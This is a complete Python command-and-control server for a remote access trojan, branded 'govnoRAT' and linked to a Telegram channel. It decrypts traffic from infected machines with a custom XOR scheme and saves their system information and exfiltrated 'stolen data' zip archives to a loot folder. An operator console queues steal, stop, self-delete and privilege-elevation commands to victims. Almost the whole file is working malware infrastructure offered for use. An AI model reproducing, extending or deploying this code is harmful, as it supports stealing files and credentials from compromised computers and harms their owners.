#!/usr/bin/env python3
"""
https://t.me/neverliet_projects
"""
import asyncio
import base64
import json
import hashlib
import os
import sys
import threading
import uuid
from datetime import datetime
from pathlib import Path
from aiohttp import web

HOST = "0.0.0.0"
PORT = 80
LOOT_DIR = Path("loot")
LOOT_DIR.mkdir(exist_ok=True)

def rolling_xor_decode(data):
    result = bytearray(data)
    for i in range(len(result) - 1, 0, -1):
        result[i] ^= result[i - 1]
    return bytes(result)

def rolling_xor_encode(data):
    result = bytearray(data)
    for i in range(1, len(result)):
        result[i] ^= result[i - 1]
    return bytes(result)

def xor_with_key(data, key):
    return bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))

XOR_KEY = bytes.fromhex("d0af20d0bbd18ed0b1d0bbd18e20d181d0bed181d0b0d182d18c")

def decrypt_mode5(data):
    """
    Mode 5 = XOR_key -> Rolling_Encode
    decrypt = Rolling_Decode -> XOR_key
    """
    step1 = rolling_xor_decode(data)
    step2 = xor_with_key(step1, XOR_KEY)
    return step2

def encrypt_mode5(data):
    step1 = xor_with_key(data, XOR_KEY)
    step2 = rolling_xor_encode(step1)
    return step2

def prepare_mode5_response(plaintext):
    return decrypt_mode5(plaintext)

pending_command = None
clients = {}

def log(msg, level="INFO"):
    timestamp = datetime.now().strftime("%H:%M:%S")
    colors = {"INFO": "\033[92m", "WARN": "\033[93m", "ERROR": "\033[91m", "DATA": "\033[96m", "CONN": "\033[95m", "CMD": "\033[94m"}
    print(f"{colors.get(level, '')}[{timestamp}] [{level}] {msg}\033[0m")

def save_important(client_id, data_type, data, ext="bin"):
    client_dir = LOOT_DIR / client_id.replace(":", "_").replace(".", "_")
    client_dir.mkdir(exist_ok=True)
    
    timestamp = datetime.now().strftime("%H%M%S")
    filepath = client_dir / f"{timestamp}_{data_type}.{ext}"
    
    mode = "w" if isinstance(data, str) else "wb"
    with open(filepath, mode, encoding="utf-8" if isinstance(data, str) else None) as f:
        f.write(data)
    
    log(f"SAVED: {filepath}", "WARN")
    return filepath

async def handle_request(request):
    global pending_command
    
    client_ip = request.remote
    data = await request.read()
    
    if not data:
        return web.Response(text="OK")
    
    # Decrypt
    request_type = "1"
    hwid = ""
    
    try:
        decrypted = decrypt_mode5(data)
        
        if decrypted[:2] == b'PK':
            log(f"!!! STOLEN DATA RECEIVED (ZIP) - {len(decrypted)} bytes !!!", "WARN")
            save_important(client_ip, "STOLEN_DATA", decrypted, "zip")
            return web.Response(body=prepare_mode5_response(b'1'), content_type="application/octet-stream")
        
        try:
            req = json.loads(decrypted)
            # Debug: show raw request for type 6
            if str(req.get("1", "")) == "6":
                log(f"TYPE 6 RAW: {decrypted[:500]}", "DATA")
            request_type = str(req.get("1", "1"))
            hwid = req.get("k", req.get("2", ""))  
            
            if request_type not in ["1", "2", "5", "7"]:
                log(f"REQUEST TYPE: {request_type}, keys: {list(req.keys())}", "DATA")
            
            if hwid and hwid not in clients:
                clients[hwid] = {"ip": client_ip, "first": datetime.now()}
                log(f"NEW CLIENT: {hwid}", "WARN")
            
            if request_type == "5" and "3" in req:
                sysinfo = req["3"]
                log(f"SYSINFO: {sysinfo[:100]}...", "WARN")
                save_important(client_ip, "sysinfo", sysinfo, "json")
            
            if request_type == "6" and "3" in req:
                try:
                    stolen_b64 = req["3"]
                    log(f"Base64 length: {len(stolen_b64)}", "DATA")
                    stolen_data = base64.b64decode(stolen_b64)
                    log(f"!!! STOLEN DATA (type 6) - {len(stolen_data)} bytes !!!", "WARN")
                    # Check if valid ZIP
                    if stolen_data[:2] == b'PK':
                        log(f"Valid ZIP file received!", "WARN")
                        save_important(client_ip, "STOLEN_DATA", stolen_data, "zip")
                    else:
                        log(f"Not a ZIP, first bytes: {stolen_data[:20].hex()}", "DATA")
                        save_important(client_ip, "STOLEN_DATA", stolen_data, "bin")
                except Exception as e:
                    log(f"Failed to decode stolen data: {e}", "ERROR")
            
            # Handle error/log (type 7)  
            if request_type == "7":
                log(f"CLIENT LOG: {req.get('3', '')[:200]}", "DATA")
                
        except json.JSONDecodeError:
            log(f"Non-JSON data: {len(decrypted)} bytes", "DATA")
            
    except Exception as e:
        log(f"Error: {e}", "ERROR")
    
    # Prepare response
    if request_type == "1":
        response = b'{"1":0,"2":50}'
        log(f"[HEARTBEAT] OK", "CMD")
        
    elif request_type == "2":
        if pending_command:
            cmd = pending_command
            pending_command = None
            
            task_id = str(uuid.uuid4())[:8]
            if cmd == "9":
                # STEAL needs "2" = path (00 default), "3" = taskid
                response = f'{{"1":"9","2":"00","3":"{task_id}"}}'.encode()
            else:
                response = f'{{"1":"{cmd}","2":"","3":"{task_id}"}}'.encode()
            log(f">>> SENDING: {response.decode()} <<<", "WARN")
        else:
            response = b'{"1":""}'
            
    elif request_type == "5":
        response = b'{"1":0,"2":0}'
        
    elif request_type == "6":
        log(f"!!! TYPE 6 - STOLEN DATA RECEIVED !!!", "WARN")
        response = b'1'
        
    elif request_type == "7":
        response = b'{"1":0,"2":0}'
        
    else:
        response = b'{"1":0,"2":0}'
    
    return web.Response(
        body=prepare_mode5_response(response),
        content_type="application/octet-stream"
    )

def cli_thread():
    global pending_command
    
    print("\n" + "="*50)
    print("https://t.me/neverliet_projects - Commands:")
    print("  steal   - Send STEAL command")
    print("  stop    - Stop malware")
    print("  suicide - Self-delete malware")
    print("  clients - Show clients")
    print("  loot    - Show loot")
    print("  exit    - Exit")
    print("="*50 + "\n")
    
    while True:
        try:
            cmd = input("\033[94m[C2]>\033[0m ").strip().lower()
            
            if cmd == "steal":
                pending_command = "9"
                print(">>> STEAL command queued!")
            elif cmd == "stop":
                pending_command = "3"
                print(">>> STOP command queued!")
            elif cmd == "suicide":
                pending_command = "4"
                print(">>> SUICIDE command queued!")
            elif cmd == "elevate":
                pending_command = "b"
                print(">>> ELEVATE command queued!")
            elif cmd == "clients":
                if clients:
                    for h, i in clients.items():
                        print(f"  {h}: {i['ip']}")
                else:
                    print("  No clients yet")
            elif cmd == "loot":
                files = list(LOOT_DIR.rglob("*"))
                if files:
                    for f in files:
                        if f.is_file():
                            print(f"  {f.relative_to(LOOT_DIR)} ({f.stat().st_size} bytes)")
                else:
                    print("  No loot yet")
            elif cmd == "exit":
                os._exit(0)
            elif cmd:
                print(f"Unknown: {cmd}")
                
        except (KeyboardInterrupt, EOFError):
            pass

def main():
    print(f"""
╔════════════════════════════════════════════╗
║         govnoRAT C2 SERVER                 ║
║  Port: {PORT}                              ║
║  Loot: ./loot/                             ║
╚════════════════════════════════════════════╝
""")
    
    log(f"Starting on {HOST}:{PORT}", "INFO")
    
    app = web.Application(client_max_size=100*1024*1024)
    app.router.add_route("*", "/{path:.*}", handle_request)
    
    cli = threading.Thread(target=cli_thread, daemon=True)
    cli.start()
    
    try:
        web.run_app(app, host=HOST, port=PORT, print=None)
    except PermissionError:
        log("Permission denied! Run as Administrator", "ERROR")
        sys.exit(1)

if __name__ == "__main__":
    main()
